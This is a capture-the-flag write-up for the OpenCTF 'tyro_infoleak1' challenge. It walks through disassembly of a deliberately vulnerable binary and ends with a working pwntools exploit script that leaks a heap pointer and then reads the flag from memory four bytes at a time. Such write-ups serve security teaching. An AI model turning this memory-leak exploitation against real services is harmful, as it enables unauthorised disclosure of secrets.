This is a writeup for tyro_infoleak1 which was the first part of a 3 part challenge involving, as the challenge name suggests, info leaks.

Baby's first infoleak (do you even really need the binary?) (https://en.wikipedia.org/wiki/Information_leakage)
Server: 172.31.1.36:1616
Binary: 172.31.0.10/tyro_infoleak1_bdc3f08dab986b30317b0937a096d794

Ignoring the challenge description, we can download the binary and run checksec on it to determine which memory protections it is compiled with.

$ checksec tyro_infoleak1
[*] 'openctf16/tyro_infoleak1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

When we run the program, we are presented with the following

$ ./tyro_infoleak1 
OpenCTF tyro info leak 2

ASLR is on, the binary is PIE
Can you read the flag?
1)relative read
2)absolute read

Basically, this program provides us with 2 functions: the ability to perform a relative read, and the ability to perform an absolute read.

Relative Read

.text:00000A46                 mov     dword ptr [esp], offset Offset ; "Offset: "
.text:00000A4D                 call    printf
.text:00000A52                 lea     eax, [esp+14h]
.text:00000A56                 mov     [esp+4], eax
.text:00000A5A                 mov     dword ptr [esp], offset fmtstr_x ; "%x"
.text:00000A61                 call    __isoc99_scanf  ; scanf("%x", &i);
.text:00000A66                 lea     edx, [esp+14h]
.text:00000A6A                 mov     eax, [esp+14h]
.text:00000A6E                 add     eax, edx        ; eax = &i+i
.text:00000A70                 mov     [esp+14h], eax
.text:00000A74                 mov     eax, [esp+14h]
.text:00000A78                 mov     eax, [eax]
.text:00000A7A                 mov     [esp+4], eax
.text:00000A7E                 mov     dword ptr [esp], offset fmtstr_p ; "%p\n"
.text:00000A85                 call    printf          ; printf("%p\n", *(&i+i))
.text:00000A8A                 jmp     short loc_AE5

All this basic block does is ask the user to specify an offset, which it uses to calculate the address located at that offset from a local variable, i, and prints out 4 bytes of whatever data is stored there.

Absolute Read

.text:00000A8C loc_A8C:                                ; CODE XREF: main+F9j
.text:00000A8C                 mov     eax, [esp+14h]
.text:00000A90                 cmp     eax, 2
.text:00000A93                 jnz     short loc_ACD
.text:00000A95                 mov     dword ptr [esp], offset aAbsoluteAddres ; "Absolute address to read from: "
.text:00000A9C                 call    printf
.text:00000AA1                 lea     eax, [esp+14h]
.text:00000AA5                 mov     [esp+4], eax
.text:00000AA9                 mov     dword ptr [esp], offset fmtstr_x ; "%x"
.text:00000AB0                 call    __isoc99_scanf
.text:00000AB5                 mov     eax, [esp+14h]
.text:00000AB9                 mov     eax, [eax]
.text:00000ABB                 mov     [esp+4], eax
.text:00000ABF                 mov     dword ptr [esp], offset fmtstr_p ; "%p\n"
.text:00000AC6                 call    printf
.text:00000ACB                 jmp     short loc_AE5
.text:00000ACD ; ---------------------------------------------------------------------------
.text:00000ACD
.text:00000ACD loc_ACD:                                ; CODE XREF: main+148j
.text:00000ACD                 mov     dword ptr [esp], offset aWat ; "wat!"
.text:00000AD4                 call    puts
.text:00000AD9                 mov     dword ptr [esp], 0 ; status
.text:00000AE0                 call    exit

The Absolute Read code path simply asks the user to specify an address to read from and prints 4 bytes of whatever data is stored at the specified address.

So, we have both a 4-byte relative infoleak primitive as well as a 4-byte absolute infoleak primitive.

If we take a look at the preceding initialization code, we can see how we can leverage these two primitives to leak the contents of the flag.

Initialization Flow

.text:0000094B                 push    ebp
.text:0000094C                 mov     ebp, esp
.text:0000094E                 and     esp, 0FFFFFFF0h
.text:00000951                 sub     esp, 20h
.text:00000954                 mov     dword ptr [esp], 100h ; size
.text:0000095B                 call    malloc
.text:00000960                 mov     [esp+18h], eax
.text:00000964                 mov     dword ptr [esp], 1Eh ; seconds
.text:0000096B                 call    alarm
.text:00000970                 mov     eax, ds:stdin
.text:00000975                 mov     dword ptr [esp+4], 0 ; buf
.text:0000097D                 mov     [esp], eax      ; stream
.text:00000980                 call    setbuf
.text:00000985                 mov     eax, ds:stdout
.text:0000098A                 mov     dword ptr [esp+4], 0 ; buf
.text:00000992                 mov     [esp], eax      ; stream
.text:00000995                 call    setbuf
.text:0000099A                 mov     dword ptr [esp+4], 0 ; oflag
.text:000009A2                 mov     dword ptr [esp], offset file ; "/home/challenge/flag"
.text:000009A9                 call    open
.text:000009AE                 mov     [esp+1Ch], eax
.text:000009B2                 cmp     dword ptr [esp+1Ch], 0FFFFFFFFh
.text:000009B7                 jnz     short loc_9D1
.text:000009B9                 mov     dword ptr [esp], offset s ; "Can't open flag"
.text:000009C0                 call    puts
.text:000009C5                 mov     dword ptr [esp], 0 ; status
.text:000009CC                 call    exit
.text:000009D1 ; ---------------------------------------------------------------------------
.text:000009D1
.text:000009D1 loc_9D1:                                ; CODE XREF: main+6Cj
.text:000009D1                 mov     dword ptr [esp+8], 100h ; nbytes
.text:000009D9                 mov     eax, [esp+18h]
.text:000009DD                 mov     [esp+4], eax    ; buf
.text:000009E1                 mov     eax, [esp+1Ch]
.text:000009E5                 mov     [esp], eax      ; fd
.text:000009E8                 call    read
.text:000009ED                 mov     eax, [esp+1Ch]
.text:000009F1                 mov     [esp], eax      ; fd
.text:000009F4                 call    close
.text:000009F9                 mov     dword ptr [esp], offset aOpenctfTyroInf ; "OpenCTF tyro info leak 2\n"
.text:00000A00                 call    puts
.text:00000A05                 mov     dword ptr [esp], offset aAslrIsOnTheBin ; "ASLR is on, the binary is PIE"
.text:00000A0C                 call    puts
.text:00000A11                 mov     dword ptr [esp], offset aCanYouReadTheF ; "Can you read the flag?"
.text:00000A18                 call    puts

We can see that when the function is initialized, a chunk of memory is requested and allocated on the heap via malloc(0x100), which is subsequently used to store the contents of the flag after calling read().

We can use our relative infoleak primitive to first, leak the address of the malloc()‘d heap chunk, and then use our absolute infoleak primitive to leak the contents of the flag 4 bytes at a time. The following script achieves this.

Solution

#!/usr/bin/env python

from pwn import *
import sys

def relative_read():
        r.sendline("1")
        r.recvuntil(": ")
        r.sendline("4")
        return int(r.recv(10),0)

def absolute_read(flag_loc):
        r.sendline("2")
        r.recvuntil(": ")
        r.sendline(str(flag_loc))
        return int(r.recvline(10),0)

def exploit(r):
        r.recvuntil("2)absolute read\n")
        flag_loc = relative_read()
        flag=""

        while(1):
                r.recvuntil("2)absolute read\n")
                try:
                        flag+=pack(absolute_read(hex(flag_loc)),32, 'big', True)
                        flag_loc+=4
                except:
                        print flag
                        break
        #r.interactive()

if __name__ == "__main__":
    log.info("For remote: %s HOST PORT" % sys.argv[0])
    if len(sys.argv) > 1:
        r = remote(sys.argv[1], int(sys.argv[2]))
        exploit(r)
    else:
        r = process(['/home/rh0gue/Documents/openctf16/tyro_infoleak1'])
        print util.proc.pidof(r)
        pause()
        exploit(r)